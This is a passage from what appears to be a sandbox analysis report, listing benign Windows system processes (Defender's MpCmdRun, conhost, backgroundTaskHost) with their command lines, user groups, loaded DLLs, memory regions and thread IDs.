	cmd_line = "\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -wdenable"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xe], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000b105" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 3427
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3428
	        start_va = 0x4960640000
	          end_va = 0x496065ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960640000"
	        filename = ""

Region:
	              id = 3429
	        start_va = 0x4960660000
	          end_va = 0x4960673fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960660000"
	        filename = ""

Region:
	              id = 3430
	        start_va = 0x4960680000
	          end_va = 0x49606fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960680000"
	        filename = ""

Region:
	              id = 3431
	        start_va = 0x4960700000
	          end_va = 0x4960703fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960700000"
	        filename = ""

Region:
	              id = 3432
	        start_va = 0x4960710000
	          end_va = 0x4960710fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960710000"
	        filename = ""

Region:
	              id = 3433
	        start_va = 0x4960720000
	          end_va = 0x4960721fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960720000"
	        filename = ""

Region:
	              id = 3434
	        start_va = 0x7df5ff840000
	          end_va = 0x7ff5ff83ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff840000"
	        filename = ""

Region:
	              id = 3435
	        start_va = 0x7ff67b700000
	          end_va = 0x7ff67b722fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff67b700000"
	        filename = ""

Region:
	              id = 3436
	        start_va = 0x7ff67b726000
	          end_va = 0x7ff67b726fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff67b726000"
	        filename = ""

Region:
	              id = 3437
	        start_va = 0x7ff67b72e000
	          end_va = 0x7ff67b72ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff67b72e000"
	        filename = ""

Region:
	              id = 3438
	        start_va = 0x7ff67ba10000
	          end_va = 0x7ff67ba66fff
	     entry_point = 0x7ff67ba10000
	     region_type = mapped_file
	            name = "mpcmdrun.exe"
	        filename = "\\Program Files\\Windows Defender\\MpCmdRun.exe" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe")

Region:
	              id = 3439
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3443
	        start_va = 0x4960870000
	          end_va = 0x496096ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960870000"
	        filename = ""

Region:
	              id = 3444
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3445
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3505
	        start_va = 0x4960640000
	          end_va = 0x496064ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960640000"
	        filename = ""

Region:
	              id = 3506
	        start_va = 0x4960650000
	          end_va = 0x4960656fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960650000"
	        filename = ""

Region:
	              id = 3507
	        start_va = 0x4960730000
	          end_va = 0x49607edfff
	     entry_point = 0x4960730000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3508
	        start_va = 0x49607f0000
	          end_va = 0x496086ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000049607f0000"
	        filename = ""

Region:
	              id = 3509
	        start_va = 0x7ff67b600000
	          end_va = 0x7ff67b6fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff67b600000"
	        filename = ""

Region:
	              id = 3510
	        start_va = 0x7ff67b72c000
	          end_va = 0x7ff67b72dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff67b72c000"
	        filename = ""

Region:
	              id = 3511
	        start_va = 0x7ffbec5c0000
	          end_va = 0x7ffbec699fff
	     entry_point = 0x7ffbec5c0000
	     region_type = mapped_file
	            name = "mpclient.dll"
	        filename = "\\Program Files\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files\\windows defender\\mpclient.dll")

Region:
	              id = 3512
	        start_va = 0x7ffbfb2b0000
	          end_va = 0x7ffbfb2bbfff
	     entry_point = 0x7ffbfb2b0000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 3513
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 3514
	        start_va = 0x7ffbfba10000
	          end_va = 0x7ffbfba36fff
	     entry_point = 0x7ffbfba10000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 3515
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 3516
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3517
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 3518
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 3519
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 3520
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3521
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 3522
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3523
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3524
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3525
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3526
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3527
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3528
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3529
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 3530
	        start_va = 0x4960970000
	          end_va = 0x4960976fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960970000"
	        filename = ""

Region:
	              id = 3531
	        start_va = 0x4960980000
	          end_va = 0x4960a3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960980000"
	        filename = ""

Region:
	              id = 3532
	        start_va = 0x4960a40000
	          end_va = 0x4960a40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960a40000"
	        filename = ""

Region:
	              id = 3533
	        start_va = 0x4960a50000
	          end_va = 0x4960a50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960a50000"
	        filename = ""

Region:
	              id = 3534
	        start_va = 0x4960a70000
	          end_va = 0x4960a7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960a70000"
	        filename = ""

Region:
	              id = 3535
	        start_va = 0x4960a80000
	          end_va = 0x4960c07fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960a80000"
	        filename = ""

Region:
	              id = 3536
	        start_va = 0x4960c10000
	          end_va = 0x4960d90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004960c10000"
	        filename = ""

Region:
	              id = 3537
	        start_va = 0x4960da0000
	          end_va = 0x4960e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960da0000"
	        filename = ""

Region:
	              id = 3538
	        start_va = 0x4960ea0000
	          end_va = 0x4960f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004960ea0000"
	        filename = ""

Region:
	              id = 3539
	        start_va = 0x7ff67b72a000
	          end_va = 0x7ff67b72bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff67b72a000"
	        filename = ""

Region:
	              id = 3540
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")


Thread:
	id = 450
	os_tid = 0x7bc


Thread:
	id = 455
	os_tid = 0xb34


Thread:
	id = 456
	os_tid = 0x9ec


Process:
	id = "24"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x7b6c1000"
	os_pid = "0x428"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "23"
	os_parent_pid = "0x368"
	cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\Windows"
	os_username = "NT AUTHORITY\\Local Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xe], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\icssvc" [0xa], "NT SERVICE\\lmhosts" [0xe], "NT SERVICE\\NgcCtnrSvc" [0xa], "NT SERVICE\\vmictimesync" [0xa], "NT SERVICE\\Wcmsvc" [0xe], "NT SERVICE\\wscsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000b105" [0xc000000f], "LOCAL" [0x7]

Region:
	              id = 3446
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3447
	        start_va = 0x4e356d0000
	          end_va = 0x4e356effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e356d0000"
	        filename = ""

Region:
	              id = 3448
	        start_va = 0x4e356f0000
	          end_va = 0x4e35703fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e356f0000"
	        filename = ""

Region:
	              id = 3449
	        start_va = 0x4e35710000
	          end_va = 0x4e3574ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35710000"
	        filename = ""

Region:
	              id = 3450
	        start_va = 0x7df5ffb70000
	          end_va = 0x7ff5ffb6ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ffb70000"
	        filename = ""

Region:
	              id = 3451
	        start_va = 0x7ff6c43c0000
	          end_va = 0x7ff6c43e2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c43c0000"
	        filename = ""

Region:
	              id = 3452
	        start_va = 0x7ff6c43ed000
	          end_va = 0x7ff6c43eefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c43ed000"
	        filename = ""

Region:
	              id = 3453
	        start_va = 0x7ff6c43ef000
	          end_va = 0x7ff6c43effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c43ef000"
	        filename = ""

Region:
	              id = 3454
	        start_va = 0x7ff6c4950000
	          end_va = 0x7ff6c4960fff
	     entry_point = 0x7ff6c4950000
	     region_type = mapped_file
	            name = "conhost.exe"
	        filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe")

Region:
	              id = 3455
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3456
	        start_va = 0x4e358e0000
	          end_va = 0x4e359dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e358e0000"
	        filename = ""

Region:
	              id = 3457
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3458
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3459
	        start_va = 0x4e356d0000
	          end_va = 0x4e356dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e356d0000"
	        filename = ""

Region:
	              id = 3460
	        start_va = 0x4e356e0000
	          end_va = 0x4e356e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e356e0000"
	        filename = ""

Region:
	              id = 3461
	        start_va = 0x4e35750000
	          end_va = 0x4e3580dfff
	     entry_point = 0x4e35750000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3462
	        start_va = 0x4e35810000
	          end_va = 0x4e3584ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35810000"
	        filename = ""

Region:
	              id = 3463
	        start_va = 0x4e35850000
	          end_va = 0x4e35850fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e35850000"
	        filename = ""

Region:
	              id = 3464
	        start_va = 0x4e35860000
	          end_va = 0x4e35866fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35860000"
	        filename = ""

Region:
	              id = 3465
	        start_va = 0x4e35870000
	          end_va = 0x4e35870fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35870000"
	        filename = ""

Region:
	              id = 3466
	        start_va = 0x4e35880000
	          end_va = 0x4e35880fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35880000"
	        filename = ""

Region:
	              id = 3467
	        start_va = 0x4e359e0000
	          end_va = 0x4e35a9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e359e0000"
	        filename = ""

Region:
	              id = 3468
	        start_va = 0x4e35ae0000
	          end_va = 0x4e35aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35ae0000"
	        filename = ""

Region:
	              id = 3469
	        start_va = 0x4e35af0000
	          end_va = 0x4e35c77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e35af0000"
	        filename = ""

Region:
	              id = 3470
	        start_va = 0x4e35c80000
	          end_va = 0x4e35e00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000004e35c80000"
	        filename = ""

Region:
	              id = 3471
	        start_va = 0x7ff6c42c0000
	          end_va = 0x7ff6c43bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6c42c0000"
	        filename = ""

Region:
	              id = 3472
	        start_va = 0x7ff6c43eb000
	          end_va = 0x7ff6c43ecfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c43eb000"
	        filename = ""

Region:
	              id = 3473
	        start_va = 0x7ffbf6a10000
	          end_va = 0x7ffbf6a62fff
	     entry_point = 0x7ffbf6a10000
	     region_type = mapped_file
	            name = "conhostv2.dll"
	        filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll")

Region:
	              id = 3474
	        start_va = 0x7ffbfd5b0000
	          end_va = 0x7ffbfd732fff
	     entry_point = 0x7ffbfd5b0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 3475
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 3476
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 3477
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3478
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3479
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3480
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3481
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 3482
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3483
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3484
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3485
	        start_va = 0x4e35890000
	          end_va = 0x4e358cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35890000"
	        filename = ""

Region:
	              id = 3486
	        start_va = 0x4e35f30000
	          end_va = 0x4e35f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35f30000"
	        filename = ""

Region:
	              id = 3487
	        start_va = 0x7ff6c43e9000
	          end_va = 0x7ff6c43eafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6c43e9000"
	        filename = ""

Region:
	              id = 3488
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 3489
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 3490
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 3491
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 3492
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 3493
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3494
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 3495
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 3499
	        start_va = 0x4e35e10000
	          end_va = 0x4e35f20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35e10000"
	        filename = ""

Region:
	              id = 3500
	        start_va = 0x4e35f40000
	          end_va = 0x4e3615bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e35f40000"
	        filename = ""

Region:
	              id = 3501
	        start_va = 0x4e36160000
	          end_va = 0x4e36371fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e36160000"
	        filename = ""

Region:
	              id = 3502
	        start_va = 0x4e36380000
	          end_va = 0x4e3659dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e36380000"
	        filename = ""

Region:
	              id = 3503
	        start_va = 0x4e365a0000
	          end_va = 0x4e366b7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000004e365a0000"
	        filename = ""

Region:
	              id = 3504
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")


Thread:
	id = 451
	os_tid = 0x624


Thread:
	id = 452
	os_tid = 0x7cc


Thread:
	id = 453
	os_tid = 0x8f8


Thread:
	id = 454
	os_tid = 0xb48


Process:
	id = "25"
	image_name = "backgroundtaskhost.exe"
	filename = "c:\\windows\\system32\\backgroundtaskhost.exe"
	page_root = "0x64130000"
	os_pid = "0xb58"
	os_integrity_level = "0x1000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x248"
	cmd_line = "\"C:\\Windows\\system32\\backgroundTaskHost.exe\" -ServerName:CortanaUI.AppXy7vb4pc2dr3kc93kfc509b1d0arkfb2x.mca"
	cur_dir = "C:\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 3659
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3660
	        start_va = 0xec57390000
	          end_va = 0xec573affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000ec57390000"
	        filename = ""

Region:
	              id = 3661
	        start_va = 0xec573b0000
	          end_va = 0xec573c3fff
	     entry_point = 0x0
	     region_type = pagefile_backed
